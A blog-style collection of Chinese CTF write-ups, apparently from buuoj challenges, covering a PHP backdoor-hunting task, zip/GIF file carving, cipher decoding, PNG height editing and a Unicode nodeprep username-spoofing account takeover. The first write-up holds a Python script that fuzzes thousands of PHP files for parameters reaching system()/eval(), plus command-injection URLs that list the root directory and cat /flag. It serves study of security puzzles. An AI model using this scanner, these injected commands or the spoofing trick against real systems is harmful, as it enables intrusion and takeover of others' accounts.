0%

前言:

 对于我来说这题确实也有些难度了。做题过程也是困难重重呀,废话不多说进入正题吧!

0X01 解题思路

  1. 打开题目链接,提示留了源码备份为www.tar.gz。那么我们就下载看看。
  2. 打开压缩包发现有3000多个php文件,试着打开几个php文件,发现代码中存在一些诸如这样的get或post参数会执行system()/eval()/assert()函数,意味着我们可以通过传递参数的方式来执行cmd命令。
  3. 由于文件太多,于是我们在本地搭建环境(将解压的文件夹放进网站根目录),我使用的是phpstudy,我将解压的src放在了D:\phpstudy\WWW\src我的网站根目录。然后我们使用python脚本来爆破。
  4. 经过参考大佬们的脚本以及自己的理解,以下就是我做题时的脚本:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    import os
    import requests
    import re #引入正则
    import threading #用于多线程
    import time
    print('开始时间: '+ time.asctime( time.localtime(time.time()) )) #格式化输出,开始时间
    s1=threading.Semaphore(100)
    #Semaphore 管理一个计数器,每调用一次 acquire() 方法,计数器就减一,每调用一次 release() 方法,计数器就加一。计时器的值默认为 1
    #计数器的值不能小于 0,当计数器的值为 0 时,调用 acquire() 的线程就会等待,直到 release() 被调用。
    #因此,可以利用这个特性来控制线程数量。
    filePath = r"D:/phpstudy/WWW/src/" #改变当前的路径
    os.chdir(filePath) #改变当前工作目录到指定的路径。
    requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
    #requests请求发送的次数太多的情况下会报错(max ......)解决办法就是13和17行
    files = os.listdir(filePath) #读取当前路径下的所有文件名
    session = requests.Session()
    session.keep_alive = False # 设置连接活跃状态为False
    def get_content(file):
    s1.acquire() #线程加锁
    print('trying '+file)
    with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
    gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) #从f.read()中匹配get需要传值的名称
    posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {} #所有的$_POST
    params = {} #所有的$_GET
    for m in gets:
    params[m] = "echo 'mayi077';"
    for n in posts:
    data[n] = "echo 'mayi077';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
    req.encoding = 'utf-8'
    content = req.text
    req.close() # 关闭请求 释放内存 切记打开就得关呀
    if "mayi077" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
    flag = 0
    for a in gets:
    req = session.get(url, params={a:"echo 'mayi077';"})
    content = req.text
    req.close() # 关闭请求 释放内存 切记打开就得关呀
    if "mayi077" in content:
    flag = 1
    print('找到了利用文件: '+file+" and 找到了利用的参数:%s 且是get请求" %a)
    print('结束时间: ' + time.asctime(time.localtime(time.time()))+"\n\n\n\n")
    break
    if flag != 1:
    for b in posts:
    req = session.post(url, data={b:"echo 'mayi077';"})
    content = req.text
    req.close() # 关闭请求 释放内存切记打开就得关呀
    if "mayi077" in content:
    print('找到了利用文件: '+file+" and 找到了利用的参数:%s 且是post请求 " %b)
    print('结束时间: ' + time.asctime(time.localtime(time.time()))+"\n\n\n\n")
    break
    s1.release() #线程解锁

    for i in files: #加入多线程
    t = threading.Thread(target=get_content, args=(i,)) #注意target=函数,args=(传的值, ) args需要是一个元组
    t.start() # 开始
  5. 跑出来的结果如下:
  6. 我们尝试着访问: http://d0741499-ca48-4573-a0be-87e07aec30ef.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=ls ../../../../ (至于为什么访问这个,其实也是经过试错的)得到根目录的文件及目录列表:
  7. 接着我们访问: http://d0741499-ca48-4573-a0be-87e07aec30ef.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag 得到flag:

0X02 自己在解题过程中所遇到的问题

  1. 在本地搭建好环境后浏览器访问文件报错无法理解?? (2个连续的问号),开始也不理解。后面百度了??,得知他是php7以上才有的,$a=$c??$b;等同于 $a=isset($c)?$c:$b; 。那么我们只要在phpstudy中将版本调到7.0以上,7.0以上需要v14,可自行安装。
  2. 脚本的编写,确实现在我还不能独立不参照别人的脚本给编写出来,我真是太菜了,加油努力呀!

前言:

  这题对于我来说,新知识点只有文件的md5值。然而过程中虽然容易理解但却不容易发现,下面我就来记录一下吧。

0X01 解题思路

  1. 拿到的题目是一个没有后缀的文件,我直接foremost解析了一遍,有一个gif图片,我试着将gif图片扔入stegsolve无果。
  2. 我尝试着用winhex打开解析出的图片和题目给的原文件,发现解析出来的文件明显少了许多行。
  3. 我们在原文件当中搜索gif文件的尾部00 3B 我们可以发现分号(;)后面的都是gif文件中多余的,于是我们将它拷贝到一个新文档,并且此时我们发现有一个love先记着后面一定有用!
    注:拷贝时可以先选择l然后到文档尾部右击选择“选块尾部”即可全部选用。
  4. 我们保存尝试打开无果。
  5. 此时我们发现,14 00 01 00它有点像是zip头部旁边的标识位,再加上文件尾部有zip的结束标识50 4B 05 06 那么我们将粘贴出来的文件头6C 6F 76 65替换为50 4B 03 04然后进行保存,将文件后缀改为.zip。
  6. 尝试解压发现需要密码,此时想到出现过的love,尝试love,解压成功,得到女神照片。
  7. 将照片上传到网站,获取其md5值,推荐网站: http://tool.zhengxianjun.com/hash-file 如:图片.png
    此时的flag为:flag{a6caad3aaafa11b6d5ed583bef4d8a54} 。解题完毕。

    0X02 解题总结

     遇到这类题目,我们可以先foremost得出一个文件这个文件应该是最简的。然后我们再与原文件做比较。这题其实也不算难吧。

前言:

 做misc题大都考的脑洞和知识积累,像这一题主要用到了,“与佛论禅”这个解密工具和rot13还有base64,确实不可否认的是这里题真的靠一定的运气呀。那么下面我们来总结一下这类题的解题思路。

0X01 解题思路

  1. 下载附件后,发现是个word文档,排查没有其它隐写,那么只有可能是解密word中给的文字了。
  2. 题目是如来十三掌,再加上给的那些文字,我们应该想到“与佛论禅”这个解密如图进行解密:
  3. 解密后发现一串英文可能是base64,也有可能是需要用rot13解密(因为题目名)。经过实践,正确的顺序应该是先去rot13解密,如图:
  4. 随后我们进行base64 解密,如图得到flag:

0X02 知识积累

  1. rot13 解密 :就是对前字符13个字符和后13字符对调
  2. “与佛论禅”

  这题主要就是这2个知识点希望以后遇到可以快速反应过来。

前言:

  在做ctf中的misc题时,关于图片的题目不占少数,而关于图片的题目中又有些题目是因为图片显示不全而导致无法显示flag,这个时候就需要我们用winhex修改图片的宽和高了。而修改办法虽然简单,但我最先开始也为找到需要修改的位置而头痛,因为不同的winhex版本有着不一样的显示,而且记位置也比较难记主,那么以下就是我的一些总结。

0X01 如何判定图片需要修改高和宽 ?

 一般如果图片看上去显示不全或者题目给的提示我们才知道需要修改高和宽,当然在尝试其它方法后无果也可以试试修改其宽度和高度。如此图片是需要第一时间尝试修改高度的:

0X02 如何修改宽度和高度 ?

  1. 首先你需要下载好winhex这个软件,可自行下载网上资源也比较多。
  2. 查看图片的像素,右击图片——>属性——>详细信息,如图:
  3. 因为查看到的 宽*高 是10进制的而winhex中显示的是16进制,如果想到winhex中进行查找就必须将其转换成16进制。(网上有许多在线工具)
  4. 在winhex中打开要更改宽度或高度的图片,点击搜素,将转换好的16进制输入其中后单击查找(注意查找是需要输入四位的,如果转换后是3位,则需在其前补0)此时查找到的就是当前的长宽(高)可将想要改的大小覆盖现有的大小,然后 CTRL+s 进行保存,然后打开图片即可看到效果。(如若更改以后出现大量白板还没有flag则说明考察的不是这个点。)

0X03 提交flag的技巧

  做这类题时,因为flag不能复制只能手打,而出题人设置flag时也喜欢选一些不容易分辨的。如大写的‘I’(i)和小写的‘l’(L)还有数字‘1’这几个是及其容易搞混的,还有大写的‘O’和小写的‘o’以及数字‘0’。提交flag时需要根据分辨情况,都尝试一遍。对了还有注意英文状态和中文状态。暂时就这么多吧。

前言:

 看别人的wp发现这题主要有3种方法但因现在的我能力有限只能搞懂一种方法——Unicode欺骗。那么接下来我将总结此种方法,以及解题思路。

一、解题思路

  1. 打开题目链接,发现可以注册可以登入。经过一系列判断过后,我开始尝试随便创一个用户。登入后发现,可以改密码和提交意见,随后在查看改密码的那个页面的源码有一个注释如:

     下载后观察发现:
  1. 打开代码后发现古怪,自定义函数:

    1
    2
    3
    4
    def strlower(username):
    username = nodeprep.prepare(username)
    return username
    // 看字面意思是将字符串中的大写转小写,但是python自带了lower函数所以古怪,经过查找资料发现Unicode欺骗漏洞

  2. 然后我们发现在使用nodeprep.prepare函数转换时过程如下:

    1
    ᴬ-> A -> a
  3. 而从上面的代码可知,在创建的时候会进行一次nodeprep.prepare(username)赋值username,在改密码时又会进行一次nodeprep.prepare(username)赋值给username。那么username经过2此nodeprep.prepare(username)后可以得到admin,也就是最后改的密码是admin的密码。

  4. 那么我们先注册一个ᴬdmin,实际在数据库里纯的是Admin 然后我们进行改密码操作,又经过nodeprep.prepare后实际改的是admin的密码。

  5. 输入admin 和我们以前改的密码,即可得到我们的flag:

二、难点的理解

 对于nodeprep.prepare函数,就是有一个转换过程的漏洞ᴬ-> A -> a 如果想看其它字符转换可以到此网站进行查找 : https://unicode-table.com/en/search/?q=small+capital